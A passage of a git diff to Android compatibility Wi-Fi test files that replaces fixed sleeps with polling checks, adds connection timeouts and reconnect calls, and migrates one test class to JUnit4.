                 discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_PUBLISH_STARTED));
+        Thread.sleep(WAIT_FOR_AWARE_INTERFACE_CREATION_SEC * 1000);
 
         // 2. request an AWARE network
         NetworkCallbackTest networkCb = new NetworkCallbackTest();
@@ -791,7 +795,7 @@
      * address.
      * Validate that receive an onUnavailable() callback.
      */
-    public void testDataPathPmkOutOfBandFail() {
+    public void testDataPathPmkOutOfBandFail() throws InterruptedException {
         if (!TestUtils.shouldTestWifiAware(getContext())) {
             return;
         }
@@ -806,6 +810,7 @@
         session.publish(publishConfig, discoveryCb, mHandler);
         assertTrue("Publish started",
                 discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_PUBLISH_STARTED));
+        Thread.sleep(WAIT_FOR_AWARE_INTERFACE_CREATION_SEC * 1000);
 
         // 2. request an AWARE network
         NetworkCallbackTest networkCb = new NetworkCallbackTest();
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
index 76085fa..ced02b8 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -127,6 +127,8 @@
                     mMySync.pendingSync.set(MySync.NETWORK_INFO);
                     mMySync.expectedNetworkInfo = (NetworkInfo) intent.getExtra(
                             WifiP2pManager.EXTRA_NETWORK_INFO, null);
+                    Log.d(TAG, "Get WIFI_P2P_CONNECTION_CHANGED_ACTION: "
+                            + mMySync.expectedNetworkInfo);
                     mMySync.notify();
                 }
             }
@@ -520,6 +522,10 @@
         mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
+        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+        assertNotNull(mMySync.expectedNetworkInfo);
+        assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+                mMySync.expectedNetworkInfo.getDetailedState());
     }
 
     private String getDeviceName() {
@@ -604,6 +610,10 @@
         mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
+        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+        assertNotNull(mMySync.expectedNetworkInfo);
+        assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+                mMySync.expectedNetworkInfo.getDetailedState());
 
         WifiP2pGroupList persistentGroups = getPersistentGroups();
         assertNotNull(persistentGroups);
@@ -636,6 +646,10 @@
         mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
+        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+        assertNotNull(mMySync.expectedNetworkInfo);
+        assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+                mMySync.expectedNetworkInfo.getDetailedState());
 
         resetResponse(mMyResponse);
         ShellIdentityUtils.invokeWithShellPermissions(() -> {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
index d5a0f3a..bcb2e43 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
@@ -65,6 +65,7 @@
     private UiDevice mUiDevice;
     private boolean mWasVerboseLoggingEnabled;
 
+    private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
     private static final int DURATION = 10_000;
     private static final int DURATION_SCREEN_TOGGLE = 2000;
 
@@ -84,19 +85,25 @@
         ShellIdentityUtils.invokeWithShellPermissions(
                 () -> mWifiManager.setVerboseLoggingEnabled(true));
 
+        // enable Wifi
         if (!mWifiManager.isWifiEnabled()) setWifiEnabled(true);
+        PollingCheck.check("Wifi not enabled", DURATION, () -> mWifiManager.isWifiEnabled());
+
+        // turn screen on
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         turnScreenOn();
-        PollingCheck.check("Wifi not enabled", DURATION, () -> mWifiManager.isWifiEnabled());
+
+        // check we have >= 1 saved network
         List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
                 () -> mWifiManager.getConfiguredNetworks());
         assertWithMessage("Need at least one saved network").that(savedNetworks).isNotEmpty();
-        // Wait for wifi is to be connected
+
+        // ensure Wifi is connected
+        ShellIdentityUtils.invokeWithShellPermissions(() -> mWifiManager.reconnect());
         PollingCheck.check(
                 "Wifi not connected",
-                DURATION,
+                WIFI_CONNECT_TIMEOUT_MILLIS,
                 () -> mWifiManager.getConnectionInfo().getNetworkId() != -1);
-        assertThat(mWifiManager.getConnectionInfo().getNetworkId()).isNotEqualTo(-1);
     }
 
     @After
@@ -300,6 +307,7 @@
                 new TestConnectedNetworkScorer(countDownLatchScorer);
         TestUsabilityStatsListener usabilityStatsListener =
                 new TestUsabilityStatsListener(countDownLatchUsabilityStats);
+        boolean disconnected = false;
         try {
             uiAutomation.adoptShellPermissionIdentity();
             // Clear any external scorer already active on the device.
@@ -340,7 +348,7 @@
                     "Wifi not disconnected",
                     DURATION,
                     () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
-            assertThat(mWifiManager.getConnectionInfo().getNetworkId()).isEqualTo(-1);
+            disconnected = true;
 
             // Wait for stop to be invoked and ensure that the session id matches.
             assertThat(countDownLatchScorer.await(DURATION, TimeUnit.MILLISECONDS)).isTrue();
@@ -349,6 +357,16 @@
         } finally {
             mWifiManager.removeOnWifiUsabilityStatsListener(usabilityStatsListener);
             mWifiManager.clearWifiConnectedNetworkScorer();
+
+            if (disconnected) {
+                mWifiManager.reconnect();
+                // Wait for it to be reconnected.
+                PollingCheck.check(
+                        "Wifi not reconnected",
+                        WIFI_CONNECT_TIMEOUT_MILLIS,
+                        () -> mWifiManager.getConnectionInfo().getNetworkId() != -1);
+            }
+
             uiAutomation.dropShellPermissionIdentity();
         }
     }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ScanResultTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ScanResultTest.java
index d7e4a23..a59e71b 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ScanResultTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ScanResultTest.java
@@ -34,6 +34,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -64,6 +65,7 @@
     private static final int SCAN_MAX_RETRY_COUNT = 6;
     private static final int SCAN_FIND_BSSID_MAX_RETRY_COUNT = 5;
     private static final long SCAN_FIND_BSSID_WAIT_MSEC = 5_000L;
+    private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
 
     private static final String TEST_SSID = "TEST_SSID";
     public static final String TEST_BSSID = "04:ac:fe:45:34:10";
@@ -130,10 +132,12 @@
 
         mWifiLock = mWifiManager.createWifiLock(TAG);
         mWifiLock.acquire();
-        if (!mWifiManager.isWifiEnabled())
-            setWifiEnabled(true);
-        Thread.sleep(ENABLE_WAIT_MSEC);
-        assertThat(mWifiManager.isWifiEnabled()).isTrue();
+
+        // enable Wifi
+        if (!mWifiManager.isWifiEnabled()) setWifiEnabled(true);
+        PollingCheck.check("Wifi not enabled", ENABLE_WAIT_MSEC,
+                () -> mWifiManager.isWifiEnabled());
+
         mMySync.expectedState = STATE_NULL;
     }
 
@@ -299,10 +303,15 @@
             return;
         }
 
+        // ensure Wifi is connected
+        ShellIdentityUtils.invokeWithShellPermissions(() -> mWifiManager.reconnect());
+        PollingCheck.check(
+                "Wifi not connected",
+                WIFI_CONNECT_TIMEOUT_MILLIS,
+                () -> mWifiManager.getConnectionInfo().getNetworkId() != -1);
+
         final WifiInfo wifiInfo = mWifiManager.getConnectionInfo();
         assertThat(wifiInfo).isNotNull();
-        assertWithMessage("Wifi should be connected!")
-                .that(wifiInfo.getBSSID()).isNotNull();
 
         ScanResult currentNetwork = null;
         for (int i = 0; i < SCAN_FIND_BSSID_MAX_RETRY_COUNT; i++) {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
index 3e9fef4..4876ff0 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
@@ -29,4 +29,9 @@
         PackageManager packageManager = context.getPackageManager();
         return packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI_DIRECT);
     }
+
+    public static boolean isTelephonySupported(Context context) {
+        final PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiInfoTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiInfoTest.java
index 557710d..d3cf31a 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiInfoTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiInfoTest.java
@@ -31,6 +31,7 @@
 import android.test.AndroidTestCase;
 
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.nio.charset.StandardCharsets;
@@ -60,6 +61,7 @@
     private static final int TIMEOUT_MSEC = 6000;
     private static final int WAIT_MSEC = 60;
     private static final int DURATION = 10000;
+    private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
     private IntentFilter mIntentFilter;
     private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
         @Override
@@ -90,10 +92,11 @@
         assertThat(mWifiManager).isNotNull();
         mWifiLock = mWifiManager.createWifiLock(TAG);
         mWifiLock.acquire();
-        if (!mWifiManager.isWifiEnabled())
-            setWifiEnabled(true);
-        Thread.sleep(DURATION);
-        assertThat(mWifiManager.isWifiEnabled()).isTrue();
+
+        // enable Wifi
+        if (!mWifiManager.isWifiEnabled()) setWifiEnabled(true);
+        PollingCheck.check("Wifi not enabled", DURATION, () -> mWifiManager.isWifiEnabled());
+
         mMySync.expectedState = STATE_NULL;
     }
 
@@ -133,11 +136,12 @@
             return;
         }
 
-        // wait for Wifi to be connected
+        // ensure Wifi is connected
+        ShellIdentityUtils.invokeWithShellPermissions(() -> mWifiManager.reconnect());
         PollingCheck.check(
                 "Wifi not connected - Please ensure there is a saved network in range of this "
                         + "device",
-                20000,
+                WIFI_CONNECT_TIMEOUT_MILLIS,
                 () -> mWifiManager.getConnectionInfo().getNetworkId() != -1);
 
         // this test case should in Wifi environment
@@ -147,20 +151,11 @@
 
         setWifiEnabled(false);
 
-        PollingCheck.check("getNetworkId not -1", 20000, new Callable<Boolean>() {
-            @Override
-            public Boolean call() throws Exception {
-                WifiInfo wifiInfo = mWifiManager.getConnectionInfo();
-                return wifiInfo.getNetworkId() == -1;
-            }
-        });
+        PollingCheck.check("getNetworkId not -1", 20000,
+                () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
 
-        PollingCheck.check("getWifiState not disabled", 20000, new Callable<Boolean>() {
-           @Override
-            public Boolean call() throws Exception {
-               return mWifiManager.getWifiState() == WifiManager.WIFI_STATE_DISABLED;
-            }
-        });
+        PollingCheck.check("getWifiState not disabled", 20000,
+                () -> mWifiManager.getWifiState() == WifiManager.WIFI_STATE_DISABLED);
     }
 
     private void testWifiInfoPropertiesWhileConnected(WifiInfo wifiInfo) {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
index 0ca73fc..317ba8d 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
@@ -75,6 +75,7 @@
             WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveConnectionInfoAndReturnStatusService";
 
     private static final int DURATION_MS = 10_000;
+    private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
 
     @Rule
     public final ActivityTestRule<WaitForResultActivity> mActivityRule =
@@ -107,15 +108,20 @@
         ShellIdentityUtils.invokeWithShellPermissions(
                 () -> mWifiManager.setScanThrottleEnabled(false));
 
+        // enable Wifi
         if (!mWifiManager.isWifiEnabled()) setWifiEnabled(true);
         PollingCheck.check("Wifi not enabled", DURATION_MS, () -> mWifiManager.isWifiEnabled());
+
+        // check we have >= 1 saved network
         List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
                 () -> mWifiManager.getConfiguredNetworks());
         assertWithMessage("Need at least one saved network").that(savedNetworks).isNotEmpty();
-        // Wait for wifi is to be connected
+
+        // ensure Wifi is connected
+        ShellIdentityUtils.invokeWithShellPermissions(() -> mWifiManager.reconnect());
         PollingCheck.check(
                 "Wifi not connected",
-                DURATION_MS,
+                WIFI_CONNECT_TIMEOUT_MILLIS,
                 () -> mWifiManager.getConnectionInfo().getNetworkId() != -1);
     }
 
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 94fbf5b..fd61914 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -142,6 +142,7 @@
     // duration of roughly 8 seconds. So we set scan timeout as 9 seconds here.
     private static final int SCAN_TEST_WAIT_DURATION_MS = 9000;
     private static final int TEST_WAIT_DURATION_MS = 10_000;
+    private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
     private static final int WAIT_MSEC = 60;
     private static final int DURATION_SCREEN_TOGGLE = 2000;
     private static final int DURATION_SETTINGS_TOGGLE = 1_000;
@@ -293,12 +294,14 @@
 
         mWifiLock = mWifiManager.createWifiLock(TAG);
         mWifiLock.acquire();
-        if (!mWifiManager.isWifiEnabled())
-            setWifiEnabled(true);
+        // enable Wifi
+        if (!mWifiManager.isWifiEnabled()) setWifiEnabled(true);
+        PollingCheck.check("Wifi not enabled", TEST_WAIT_DURATION_MS,
+                () -> mWifiManager.isWifiEnabled());
+
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         turnScreenOnNoDelay();
-        Thread.sleep(TEST_WAIT_DURATION_MS);
-        assertTrue(mWifiManager.isWifiEnabled());
+
         synchronized (mMySync) {
             mMySync.expectedState = STATE_NULL;
         }
@@ -382,10 +385,11 @@
         }
     }
 
-    private void waitForNetworkInfoState(NetworkInfo.State state) throws Exception {
+    private void waitForNetworkInfoState(NetworkInfo.State state, int timeoutMillis)
+            throws Exception {
         synchronized (mMySync) {
             if (mNetworkInfo.getState() == state) return;
-            long timeout = System.currentTimeMillis() + TEST_WAIT_DURATION_MS;
+            long timeout = System.currentTimeMillis() + timeoutMillis;
             while (System.currentTimeMillis() < timeout
                     && mNetworkInfo.getState() != state)
                 mMySync.wait(WAIT_MSEC);
@@ -394,11 +398,11 @@
     }
 
     private void waitForConnection() throws Exception {
-        waitForNetworkInfoState(NetworkInfo.State.CONNECTED);
+        waitForNetworkInfoState(NetworkInfo.State.CONNECTED, WIFI_CONNECT_TIMEOUT_MILLIS);
     }
 
     private void waitForDisconnection() throws Exception {
-        waitForNetworkInfoState(NetworkInfo.State.DISCONNECTED);
+        waitForNetworkInfoState(NetworkInfo.State.DISCONNECTED, TEST_WAIT_DURATION_MS);
     }
 
     private void ensureNotNetworkInfoState(NetworkInfo.State state) throws Exception {
@@ -628,10 +632,10 @@
         MacAddress lastBlockedClientMacAddress;
         int lastBlockedClientReason;
         boolean onStateChangedCalled = false;
-        boolean onSoftapInfoChangedCalled = false;
         boolean onSoftApCapabilityChangedCalled = false;
         boolean onConnectedClientCalled = false;
         boolean onBlockedClientConnectingCalled = false;
+        int onSoftapInfoChangedCalledCount = 0;
 
         TestSoftApCallback(Object lock) {
             softApLock = lock;
@@ -643,9 +647,9 @@
             }
         }
 
-        public boolean getOnSoftapInfoChangedCalled() {
+        public int getOnSoftapInfoChangedCalledCount() {
             synchronized(softApLock) {
-                return onSoftapInfoChangedCalled;
+                return onSoftapInfoChangedCalledCount;
             }
         }
 
@@ -730,7 +734,7 @@
         public void onInfoChanged(SoftApInfo softApInfo) {
             synchronized(softApLock) {
                 currentSoftApInfo = softApInfo;
-                onSoftapInfoChangedCalled = true;
+                onSoftapInfoChangedCalledCount++;
             }
         }
 
@@ -1459,17 +1463,18 @@
     }
 
     private void verifyRegisterSoftApCallback(TestExecutor executor, TestSoftApCallback callback)
-            throws Exception{
+            throws Exception {
         // Register callback to get SoftApCapability
         mWifiManager.registerSoftApCallback(executor, callback);
         PollingCheck.check(
                 "SoftAp register failed!", 1_000,
-                () -> { executor.runAll();
-                // Verify callback is run on the supplied executor and called
-                return callback.getOnStateChangedCalled() &&
-                callback.getOnSoftapInfoChangedCalled() &&
-                callback.getOnSoftApCapabilityChangedCalled() &&
-                callback.getOnConnectedClientCalled();
+                () -> {
+                    executor.runAll();
+                    // Verify callback is run on the supplied executor and called
+                    return callback.getOnStateChangedCalled() &&
+                            callback.getOnSoftapInfoChangedCalledCount() > 0 &&
+                            callback.getOnSoftApCapabilityChangedCalled() &&
+                            callback.getOnConnectedClientCalled();
                 });
     }
 
@@ -1626,9 +1631,11 @@
             // Verify state and info callback value as expected
             PollingCheck.check(
                     "SoftAp channel and state mismatch!!!", 5_000,
-                    () -> { executor.runAll();
-                    return WifiManager.WIFI_AP_STATE_ENABLED == callback.getCurrentState() &&
-                    2462 == callback.getCurrentSoftApInfo().getFrequency();
+                    () -> {
+                        executor.runAll();
+                        return WifiManager.WIFI_AP_STATE_ENABLED == callback.getCurrentState()
+                                && (callback.getOnSoftapInfoChangedCalledCount() > 1
+                                ? 2462 == callback.getCurrentSoftApInfo().getFrequency() : true);
                     });
 
             // stop tethering which used to verify stopSoftAp
@@ -1637,10 +1644,11 @@
             // Verify clean up
             PollingCheck.check(
                     "Stop Softap failed", 2_000,
-                    () -> { executor.runAll();
-                    return WifiManager.WIFI_AP_STATE_DISABLED == callback.getCurrentState() &&
-                    0 == callback.getCurrentSoftApInfo().getBandwidth() &&
-                    0 == callback.getCurrentSoftApInfo().getFrequency();
+                    () -> {
+                        executor.runAll();
+                        return WifiManager.WIFI_AP_STATE_DISABLED == callback.getCurrentState() &&
+                                0 == callback.getCurrentSoftApInfo().getBandwidth() &&
+                                0 == callback.getCurrentSoftApInfo().getFrequency();
                     });
         } finally {
             mWifiManager.unregisterSoftApCallback(callback);
@@ -1724,7 +1732,7 @@
             // Re-enable all saved networks before exiting.
             if (savedNetworks != null) {
                 for (WifiConfiguration network : savedNetworks) {
-                    mWifiManager.enableNetwork(network.networkId, false);
+                    mWifiManager.enableNetwork(network.networkId, true);
                 }
             }
             uiAutomation.dropShellPermissionIdentity();
@@ -2015,7 +2023,7 @@
             // re-enable disabled networks
             for (int disabledNetworkId : disabledNetworkIds) {
                 ShellIdentityUtils.invokeWithShellPermissions(
-                        () -> mWifiManager.enableNetwork(disabledNetworkId, false));
+                        () -> mWifiManager.enableNetwork(disabledNetworkId, true));
             }
         }
     }
@@ -2304,9 +2312,11 @@
         // assert that the country code is all uppercase
         assertEquals(wifiCountryCode.toUpperCase(Locale.US), wifiCountryCode);
 
-        String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
-                .getNetworkCountryIso();
-        assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
+        if (WifiFeature.isTelephonySupported(getContext())) {
+            String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
+                    .getNetworkCountryIso();
+            assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
+        }
     }
 
     /**
@@ -2320,11 +2330,12 @@
             return;
         }
 
-        // wait for Wifi to be connected
+        // ensure Wifi is connected
+        ShellIdentityUtils.invokeWithShellPermissions(() -> mWifiManager.reconnect());
         PollingCheck.check(
                 "Wifi not connected - Please ensure there is a saved network in range of this "
                         + "device",
-                20000,
+                WIFI_CONNECT_TIMEOUT_MILLIS,
                 () -> mWifiManager.getConnectionInfo().getNetworkId() != -1);
 
         Network wifiCurrentNetwork = ShellIdentityUtils.invokeWithShellPermissions(
@@ -2770,14 +2781,6 @@
             // Now trigger scan and ensure that the device does not connect to any networks.
             mWifiManager.startScan();
             ensureNotConnected();
-
-            // Toggle Wifi off/on should clean the state.
-            setWifiEnabled(false);
-            setWifiEnabled(true);
-
-            // Trigger a scan & wait for connection to one of the saved networks.
-            mWifiManager.startScan();
-            waitForConnection();
         } finally {
             uiAutomation.dropShellPermissionIdentity();
             setWifiEnabled(false);
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
index ba55513..59aa5c0 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
@@ -21,6 +21,13 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static junit.framework.TestCase.assertFalse;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
 import android.app.UiAutomation;
 import android.content.Context;
 import android.net.ConnectivityManager;
@@ -40,15 +47,23 @@
 import android.os.WorkSource;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiDevice;
-import android.test.AndroidTestCase;
 import android.text.TextUtils;
 
+import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.List;
 import java.util.concurrent.Executors;
 
@@ -61,9 +76,15 @@
  * TODO(b/150716005): Use assumeTrue for wifi support check.
  */
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-public class WifiNetworkSpecifierTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class WifiNetworkSpecifierTest {
     private static final String TAG = "WifiNetworkSpecifierTest";
 
+    private static boolean sWasVerboseLoggingEnabled;
+    private static boolean sWasScanThrottleEnabled;
+
+    private Context mContext;
     private WifiManager mWifiManager;
     private ConnectivityManager mConnectivityManager;
     private UiDevice mUiDevice;
@@ -71,8 +92,6 @@
     private final Object mUiLock = new Object();
     private WifiConfiguration mTestNetwork;
     private TestNetworkCallback mNetworkCallback;
-    private boolean mWasVerboseLoggingEnabled;
-    private boolean mWasScanThrottleEnabled;
 
     private static final int DURATION = 10_000;
     private static final int DURATION_UI_INTERACTION = 25_000;
@@ -80,72 +99,100 @@
     private static final int DURATION_SCREEN_TOGGLE = 2000;
     private static final int SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID = 3;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
-        mWifiManager = (WifiManager) getContext().getSystemService(Context.WIFI_SERVICE);
-        mConnectivityManager = getContext().getSystemService(ConnectivityManager.class);
-        assertNotNull(mWifiManager);
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        // skip the test if WiFi is not supported
+        assumeTrue(WifiFeature.isWifiSupported(context));
+
+        WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+        assertNotNull(wifiManager);
 
         // turn on verbose logging for tests
-        mWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
-                () -> mWifiManager.isVerboseLoggingEnabled());
+        sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isVerboseLoggingEnabled());
         ShellIdentityUtils.invokeWithShellPermissions(
-                () -> mWifiManager.setVerboseLoggingEnabled(true));
+                () -> wifiManager.setVerboseLoggingEnabled(true));
         // Disable scan throttling for tests.
-        mWasScanThrottleEnabled = ShellIdentityUtils.invokeWithShellPermissions(
-                () -> mWifiManager.isScanThrottleEnabled());
+        sWasScanThrottleEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isScanThrottleEnabled());
         ShellIdentityUtils.invokeWithShellPermissions(
-                () -> mWifiManager.setScanThrottleEnabled(false));
+                () -> wifiManager.setScanThrottleEnabled(false));
 
-        if (!mWifiManager.isWifiEnabled()) setWifiEnabled(true);
-        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        turnScreenOn();
-        PollingCheck.check("Wifi not enabled", DURATION, () -> mWifiManager.isWifiEnabled());
+        // enable Wifi
+        if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
+        PollingCheck.check("Wifi not enabled", DURATION, () -> wifiManager.isWifiEnabled());
 
+        // check we have >= 1 saved network
         List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
-                () -> mWifiManager.getPrivilegedConfiguredNetworks());
+                () -> wifiManager.getPrivilegedConfiguredNetworks());
         assertFalse("Need at least one saved network", savedNetworks.isEmpty());
-        // Pick any one of the saved networks on the device (assumes that it is in range)
-        mTestNetwork = savedNetworks.get(0);
+
         // Disconnect & disable auto-join on the saved network to prevent auto-connect from
         // interfering with the test.
         ShellIdentityUtils.invokeWithShellPermissions(
-                () -> mWifiManager.disableNetwork(mTestNetwork.networkId));
-        // wait for Wifi to be disconnected
+                () -> {
+                    for (WifiConfiguration savedNetwork : savedNetworks) {
+                        wifiManager.disableNetwork(savedNetwork.networkId);
+                    }
+                });
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!WifiFeature.isWifiSupported(context)) return;
+
+        WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+        assertNotNull(wifiManager);
+
+        if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
+
+        // Re-enable networks.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : wifiManager.getConfiguredNetworks()) {
+                        wifiManager.enableNetwork(savedNetwork.networkId, false);
+                    }
+                });
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(sWasVerboseLoggingEnabled));
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
+        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        // turn screen on
+        turnScreenOn();
+
+        List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.getPrivilegedConfiguredNetworks());
+        // Pick any one of the saved networks on the device (assumes that it is in range)
+        mTestNetwork = savedNetworks.get(0);
+
+        // Wait for Wifi to be disconnected.
         PollingCheck.check(
                 "Wifi not disconnected",
                 20000,
                 () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            super.tearDown();
-            return;
-        }
-        if (!mWifiManager.isWifiEnabled()) setWifiEnabled(true);
-        turnScreenOff();
+    @After
+    public void tearDown() throws Exception {
         // If there is failure, ensure we unregister the previous request.
         if (mNetworkCallback != null) {
             mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
         }
-        ShellIdentityUtils.invokeWithShellPermissions(
-                () -> mWifiManager.enableNetwork(mTestNetwork.networkId, true));
-        ShellIdentityUtils.invokeWithShellPermissions(
-                () -> mWifiManager.setScanThrottleEnabled(mWasScanThrottleEnabled));
-        ShellIdentityUtils.invokeWithShellPermissions(
-                () -> mWifiManager.setVerboseLoggingEnabled(mWasVerboseLoggingEnabled));
-        super.tearDown();
+        turnScreenOff();
     }
 
-    private void setWifiEnabled(boolean enable) throws Exception {
+    private static void setWifiEnabled(boolean enable) throws Exception {
         // now trigger the change using shell commands.
         SystemUtil.runShellCommand("svc wifi " + (enable ? "enable" : "disable"));
     }
@@ -393,11 +440,8 @@
     /**
      * Tests the entire connection flow using a specific SSID in the specifier.
      */
+    @Test
     public void testConnectionWithSpecificSsid() {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiNetworkSpecifier specifier = createSpecifierBuilderWithCredentialFromSavedNetwork()
                 .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
                 .build();
@@ -407,11 +451,8 @@
     /**
      * Tests the entire connection flow using a SSID pattern in the specifier.
      */
+    @Test
     public void testConnectionWithSsidPattern() {
-        if (!WifiFeature.isWifiSupported(getContext())) {
